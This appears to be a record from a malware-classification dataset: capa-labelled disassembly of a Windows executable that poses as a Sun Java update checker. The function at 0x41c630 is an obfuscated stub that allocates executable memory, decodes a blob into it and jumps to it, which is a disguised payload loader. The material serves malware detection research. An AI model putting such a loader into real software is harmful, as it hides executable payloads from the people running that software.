joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ad3e
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
push 0x814
push 0x43fdb0
call fcn.0041b9f0
push 0x4358f2
call fcn.004012da
pop ecx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
push ebx
push dword [ebp + 8]
push 0x446e04
mov ecx, 0x446e34
call fcn.0041c630
mov dword [ebp + 8], 1
mov dword [ebp - 0x1c], ebx
mov esi, 0x4359c8
lea edi, [ebp - 0x24]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0041c630
pop ecx
pop ecx
mov esi, eax
cmp esi, ebx
je 0x40ae8a
mov edi, dword [sym.imp.kernel32.dll_lstrcmpiA]
push str.UnregServer
push esi
call edi
test eax, eax
je 0x40af73
push str.RegServer
push esi
call edi
test eax, eax
je 0x40ae87
push 4
push str.auto
push esi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x40adf1
mov dword [0x444b50], ebx
mov dword [str.jau_m], 0x4359ec
jmp 0x40ae6f
push 9
push str.scheduled
push esi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x40ae11
mov dword [0x446e28], 1
jmp 0x40ae6f
push 7
push str.pending
push esi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x40ae31
mov dword [0x446e2c], 1
jmp 0x40ae6f
push 8
push 0x435a04
push esi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x40ae51
mov dword [0x446e30], 1
jmp 0x40ae6f
push 4
push str.test
push esi
call fcn.0041c630
add esp, 0xc
test eax, eax
jne 0x40ae6f
lea eax, [esi + 5]
push eax
call fcn.0041c630
pop ecx
lea eax, [ebp - 0x24]
push eax
push esi
call fcn.0041c630
pop ecx
pop ecx
mov esi, eax
cmp esi, ebx
jne 0x40adab
jmp 0x40ae8a
mov dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
je 0x40af73
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
push str.SunJavaUpdateCheckerMutex
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x40af35
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x40af35
call fcn.0041c630
test eax, eax
jne 0x40af17
mov edi, 0x400
push edi
lea eax, [ebp - 0x424]
push eax
push 0x72
push dword [0x4470b0]
mov esi, dword [sym.imp.user32.dll_LoadStringA]
call esi
push edi
lea eax, [ebp - 0x824]
push eax
push 0x75
push dword [0x4470b0]
call esi
push 0x10
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x824]
push eax
push ebx
call dword [sym.imp.user32.dll_MessageBoxA]
mov dword [ebp - 0x1c], 0x80004005
jmp 0x40af6a
push dword [0x444b54]
push 0x435a34
push ebx
call fcn.0041c630
add esp, 0xc
call fcn.0041c630
mov dword [ebp - 0x1c], eax
jmp 0x40af6a
mov dword [ebp - 0x1c], 0x64
cmp dword [ebp - 0x20], ebx
je 0x40af6a
cmp dword [0x444b50], ebx
jne 0x40af51
cmp dword [0x446e28], ebx
je 0x40af6a
push dword [0x444b54]
push 0x435a3c
push ebx
call fcn.0041c630
add esp, 0xc
call fcn.0040d2d8
or dword [ebp - 4], 0xffffffff
call fcn.0040af90
mov ecx, 0x446e34
call fcn.00409daa
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x1c]
call fcn.0041ba2b
ret 0x10
Function at 0x40bbd5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x432dbb
call fcn.0041b53c
sub esp, 0x418
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x424], ebx
mov byte [ebp - 4], 1
cmp dword [ebp + 8], ebx
je 0x40bc6a
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.0041c630
add esp, 0xc
test eax, eax
js 0x40bc6a
mov esi, dword [ebp - 0x14]
cmp esi, 0x400
jg 0x40bc4e
push esi
call fcn.00402aa1
pop ecx
test al, al
je 0x40bc4e
mov eax, esi
call fcn.0041b560
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x40bc5a
push esi
lea ecx, [ebp - 0x18]
call fcn.0041c630
mov edi, dword [ebp - 0x18]
push 3
push esi
push dword [ebp + 8]
push eax
call fcn.0041c630
cmp eax, ebx
jne 0x40bc9c
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x40bc8e
lea ecx, [ebp - 0x424]
call fcn.0040a6ea
jmp 0x40bc8e
push edi
mov edi, dword [edi]
call fcn.0041c630
pop ecx
cmp edi, ebx
jne 0x40bc85
mov eax, 0x8007000e
jmp 0x40bd9a
push 2
push ebx
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
jne 0x40bcbb
call fcn.00403f7a
mov esi, eax
jmp 0x40bd70
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x40bcd8
call fcn.00403f7a
jmp 0x40bd65
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x40bcce
push esi
push ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp + 8], esi
cmp eax, esi
jae 0x40bd02
mov esi, 0x8007000e
jmp 0x40bd67
push eax
lea ecx, [ebp - 0x424]
mov byte [ebp - 4], 2
call fcn.0041c630
mov dword [ebp - 4], 1
jmp 0x40bd2e
cmp dword [ebp - 0x424], 0
je 0x40bcfb
push esi
push dword [ebp + 0x10]
push esi
push dword [ebp - 0x424]
call fcn.0041c630
mov eax, dword [ebp - 0x424]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], 0
push dword [ebp - 0x424]
lea ecx, [ebp - 0x20]
call fcn.0041c630
mov esi, eax
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x40bd94
lea ecx, [ebp - 0x424]
call fcn.0040a6ea
jmp 0x40bd94
push edi
mov edi, dword [edi]
call fcn.0041c630
pop ecx
test edi, edi
jne 0x40bd8b
mov eax, esi
lea esp, [ebp - 0x430]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40ed58
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push 0x45c
push 0x440190
call fcn.0041b9f0
xor ebx, ebx
inc ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 4
xor esi, esi
push esi
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.wininet.dll_InternetGetConnectedState]
test eax, eax
je 0x40ed8c
mov eax, ebx
jmp 0x40eed3
push str.http:__java.sun.com
push 0x436834
lea eax, [ebp - 0x16c]
push eax
call fcn.0041c630
add esp, 0xc
mov dword [ebp - 4], esi
push esi
push esi
push esi
push esi
push 0x436838
call dword [sym.imp.wininet.dll_InternetOpenA]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x40eec7
push 0x3c
pop edi
push edi
push esi
lea eax, [ebp - 0x6c]
push eax
call fcn.0041b010
add esp, 0xc
mov dword [ebp - 0x6c], edi
lea eax, [ebp - 0x36c]
mov dword [ebp - 0x5c], eax
mov eax, 0x100
mov dword [ebp - 0x58], eax
xor ecx, ecx
mov word [ebp - 0x54], cx
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x6c]
push eax
push esi
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
push esi
push esi
push 3
push 0x436752
push 0x436753
push dword [ebp - 0x54]
push dword [ebp - 0x5c]
push dword [ebp - 0x24]
call dword [sym.imp.wininet.dll_InternetConnectA]
mov dword [ebp - 0x2c], eax
cmp eax, esi
je 0x40eec7
push esi
push 0x4400000
push esi
push 0x43675a
push 0x436840
lea ecx, [ebp - 0x26c]
push ecx
push 0x43684c
push eax
call dword [sym.imp.wininet.dll_HttpOpenRequestA]
mov edi, eax
mov dword [ebp - 0x28], edi
cmp edi, esi
je 0x40eec7
push esi
push esi
push esi
push esi
push edi
call dword [sym.imp.wininet.dll_HttpSendRequestA]
test eax, eax
jne 0x40ee9f
call dword [sym.imp.kernel32.dll_GetLastError]
sub eax, 0x2ee2
je 0x40ee9c
sub eax, 5
je 0x40ee9c
sub eax, 0x16
jne 0x40ee9f
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x20000013
push edi
call dword [sym.imp.wininet.dll_HttpQueryInfoA]
test eax, eax
je 0x40eec7
cmp dword [ebp - 0x20], 0x197
jne 0x40eec7
mov dword [ebp - 0x1c], ebx
or dword [ebp - 4], 0xffffffff
call fcn.0040eedb
mov eax, dword [ebp - 0x1c]
call fcn.0041ba2b
ret
Function at 0x410901
Capabilities:
Get geographical location

Disassembly:
push esi
push 0
push 0x436db4
push 0
call fcn.0041c630
mov esi, eax
add esp, 0xc
test esi, esi
je 0x410924
push str.Country_Code_deleted
call fcn.0041c630
pop ecx
mov eax, esi
pop esi
ret

Function at 0x4114e5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0xff
push dword [ebp + 0xc]
lea esi, [edi + 0x108]
push esi
call dword [sym.imp.kernel32.dll_lstrcpynA]
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
je 0x4116d6
push esi
call fcn.0041c630
pop ecx
test eax, eax
je 0x4116d6
lea eax, [ebp + 0xc]
push eax
push 1
xor ebx, ebx
push ebx
push 0x437138
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4116d6
mov esi, dword [sym.imp.advapi32.dll_RegQueryValueExA]
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x988]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x437160
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x400
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x588]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x437170
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x400
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x208]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x437184
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x100
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x1408]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x437198
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x104
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x1008]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x4371a8
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x400
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0xd88]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x4371b4
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x100
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0xe88]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x4371c4
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x100
call esi
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x80
push eax
lea eax, [edi + 0xf88]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x4371d0
push dword [ebp + 0xc]
call esi
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x1560]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x4371dc
push dword [ebp + 0xc]
mov dword [ebp + 8], 0x80
call esi
test eax, eax
jne 0x411686
cmp dword [ebp + 8], 3
jb 0x411686
mov dword [edi + 0x15e0], 1
mov dword [ebp + 8], 0x50
cmp dword [edi + 0x15e0], ebx
je 0x4116bf
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x1510]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x4371e8
push dword [ebp + 0xc]
call esi
test eax, eax
jne 0x4116b9
cmp dword [ebp + 8], 0x28
je 0x4116bf
mov dword [edi + 0x15e0], ebx
push dword [ebp + 0xc]
mov dword [edi + 0x150c], 1
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
jmp 0x4116db
mov eax, 0x80004005
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4117ae
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x2001f
xor ebx, ebx
push ebx
push 0x437248
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x4117dd
mov eax, 0x80004005
jmp 0x4119af
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi + 0x108]
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4117ed
sub eax, ecx
push eax
push esi
mov esi, dword [sym.imp.advapi32.dll_RegSetValueExA]
push 1
push ebx
push 0x437270
push dword [ebp - 4]
call esi
lea ecx, [edi + 0x988]
mov eax, ecx
lea edx, [eax + 1]
mov dword [ebp + 8], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411819
sub eax, dword [ebp + 8]
push eax
push ecx
push 1
push ebx
push 0x437280
push dword [ebp - 4]
call esi
lea ecx, [edi + 0x588]
mov eax, ecx
lea edx, [eax + 1]
mov dword [ebp + 8], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411840
sub eax, dword [ebp + 8]
push eax
push ecx
push 1
push ebx
push 0x437290
push dword [ebp - 4]
call esi
lea ecx, [edi + 0x208]
mov eax, ecx
lea edx, [eax + 1]
mov dword [ebp + 8], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411867
sub eax, dword [ebp + 8]
push eax
push ecx
push 1
push ebx
push 0x4372a4
push dword [ebp - 4]
call esi
lea eax, [edi + 0x1408]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x4118b8
lea eax, [edi + 0x1408]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41189a
sub eax, ecx
push eax
lea eax, [edi + 0x1408]
push eax
push 1
push ebx
push 0x4372b8
push dword [ebp - 4]
call esi
lea eax, [edi + 0x1008]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x4118f0
lea eax, [edi + 0x1008]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4118d2
sub eax, ecx
push eax
lea eax, [edi + 0x1008]
push eax
push 1
push ebx
push 0x4372c8
push dword [ebp - 4]
call esi
lea eax, [edi + 0xd88]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x411928
lea eax, [edi + 0xd88]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41190a
sub eax, ecx
push eax
lea eax, [edi + 0xd88]
push eax
push 1
push ebx
push 0x4372d4
push dword [ebp - 4]
call esi
lea eax, [edi + 0xf88]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x411960
lea eax, [edi + 0xf88]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411942
sub eax, ecx
push eax
lea eax, [edi + 0xf88]
push eax
push 1
push ebx
push 0x4372e4
push dword [ebp - 4]
call esi
lea eax, [edi + 0xe88]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x411998
lea eax, [edi + 0xe88]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41197a
sub eax, ecx
push eax
lea eax, [edi + 0xe88]
push eax
push 1
push ebx
push 0x4372f0
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov ecx, edi
call fcn.0041c630
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
pop ebx
leave
ret 4
Function at 0x4150ef
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x4330d0
call fcn.0041b53c
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x4151e4
cmp byte [esi + 0x49], bl
je 0x4151e4
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x415127
xor al, al
jmp 0x4151e6
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.0041c630
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x415187
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x41518c
dec eax
je 0x415190
dec eax
dec eax
je 0x4151e0
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.0041c630
mov al, bl
pop edi
jmp 0x4151e6
mov edx, dword [ebp - 0x2c]
jmp 0x415151
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41519c
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x4151c2
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4151af
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0041dea0
add esp, 0x10
cmp edi, eax
jne 0x415174
cmp byte [esi + 0x49], 0
je 0x4151e0
test edi, edi
jne 0x415143
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.0041c630
jmp 0x415143
mov bl, 1
jmp 0x415176
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x415906
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x433098
call fcn.0041b53c
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x415912
xor eax, eax
jmp 0x41593a
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x41594a
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x41594a
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x41596a
mov ecx, esi
call fcn.004121d5
cmp dword [esi + 0x44], edi
jne 0x41596f
push dword [esi + 0x54]
push ebx
call fcn.0041c630
pop ecx
pop ecx
test al, al
jne 0x415937
or eax, 0xffffffff
jmp 0x415939
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.0041c630
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x415a22
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x415a40
cmp eax, 1
jg 0x415a2a
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4159d6
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x4159fc
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4159e9
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0041dea0
add esp, 0x10
cmp edi, eax
jne 0x415a40
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x415a56
test edi, edi
jne 0x41598e
cmp dword [ebp - 0x24], 0x20
jae 0x415a40
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.0041c630
jmp 0x41598e
mov edx, dword [ebp - 0x34]
jmp 0x4159a0
cmp eax, 3
jne 0x415a40
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.0041c630
pop ecx
pop ecx
test al, al
jne 0x415a56
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.0041c630
mov eax, esi
jmp 0x415939
mov esi, dword [ebp + 8]
jmp 0x415a43
Function at 0x417596
Capabilities:
Delete registry value
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push 0x439088
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x4175bd
xor eax, eax
leave
ret
push esi
mov esi, dword [sym.imp.advapi32.dll_RegDeleteValueA]
push 0x4390b0
push dword [ebp - 4]
call esi
push str.InstallOptions
push dword [ebp - 4]
call esi
push str.UpdateDescription
push dword [ebp - 4]
call esi
push str.UpdateTitle1
push dword [ebp - 4]
call esi
push str.UpdateTitle2
push dword [ebp - 4]
call esi
push str.UpdateMoreInfoUrl
push dword [ebp - 4]
call esi
push str.BalloonTitle
push dword [ebp - 4]
call esi
push str.BalloonTip
push dword [ebp - 4]
call esi
push str.DlgCaption
push dword [ebp - 4]
call esi
push str.MoreInfoTxt
push dword [ebp - 4]
call esi
push str.PreDownld
push dword [ebp - 4]
call esi
push str.UrlInfo
push dword [ebp - 4]
call esi
push str.NumTries
push dword [ebp - 4]
call esi
push str.LastUDCheckTime
push dword [ebp - 4]
call esi
push str.VersionXmlChecksum
push dword [ebp - 4]
call esi
push 0x439190
push dword [ebp - 4]
call esi
call fcn.0041c630
test eax, eax
je 0x417677
push str.TransferJobID
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x41974f
Capabilities:
Delete file
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, 0x400
lea eax, [ebp - 0x41c]
push edi
push eax
call fcn.0041c630
mov esi, dword [sym.imp.kernel32.dll_DeleteFileA]
pop ecx
pop ecx
test eax, eax
js 0x419782
lea eax, [ebp - 0x41c]
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
call fcn.0041c630
pop ecx
test eax, eax
je 0x4197ab
lea eax, [ebp - 0x41c]
push eax
push eax
call fcn.0041c630
pop ecx
pop ecx
lea eax, [ebp - 0x41c]
push eax
call esi
call fcn.0041c630
xor esi, esi
push esi
push str.PreDownldStatus
push esi
call fcn.0041c630
mov ebx, dword [sym.imp.advapi32.dll_RegEnumKeyA]
add esp, 0xc
push edi
lea eax, [ebp - 0x41c]
push eax
mov dword [ebp - 4], esi
push esi
mov esi, SysStringLen
jmp 0x41984c
inc dword [ebp - 4]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x20019
lea eax, [ebp - 0x41c]
push eax
push esi
lea ecx, [ebp - 0x1c]
call fcn.0041c630
lea ecx, [ebp - 0x10]
test eax, eax
jne 0x419834
push 0x2001f
push 0x439050
push dword [ebp - 0x1c]
call fcn.0041c630
test eax, eax
jne 0x419831
push str.VersionXmlURL
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
lea ecx, [ebp - 0x10]
call fcn.0040a137
lea ecx, [ebp - 0x1c]
call fcn.0040a137
push edi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 4]
push esi
call ebx
test eax, eax
je 0x4197da
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41a6a5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4470e0], 0
push esi
push edi
jne 0x41a61b
call fcn.0041a587
test eax, eax
je 0x41a660
mov eax, dword [0x4470e0]
cmp eax, 1
jne 0x41a63c
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x41a660
jmp 0x41a6a2
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x41a6a2
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x41a664
xor eax, eax
jmp 0x41a6a2
mov eax, dword [esi]
push dword [0x4470e0]
call edi
mov edi, eax
test edi, edi
je 0x41a686
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x41a6a2
lea edi, [esi + 0xff0]
push esi
push dword [0x4470e0]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x41a68c
mov eax, esi
pop edi
pop esi
ret
jmp 0x41a607
Function at 0x41c630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x41c63f
pop dword [ebp - 0x3c]
mov eax, 0x17579293
add eax, 0xe8ea33ac
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x46416
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x610f0315
add ecx, 0x9ef153b5
xor ebx, ebx
add ebx, eax
mov edi, 0x6098373b
sub edi, 0x6050413b
add edi, dword [ebp - 0x3c]
mov edx, 0x96181f69
sub dword [ebp - 0x28], eax
mov esi, dword [edi]
sub dword [ebp - 0x34], 0x3387edf8
add esi, edx
xor dword [ebp - 0x30], 0x2fdb9cbd
mov dword [ebx], esi
sub dword [ebp - 8], esi
add ebx, 4
add edi, 0x5273de18
sub edi, 0x5273de14
loop 0x41c695
add eax, 0x38aaefce
add eax, 0xc7565e2d
mov ebx, eax
add eax, 5
mov ecx, 0xaa6e4b6
sub ecx, 0xa66e4b6
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x42208d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x445e00]
jne 0x422097
repz ret
jmp fcn.004281f4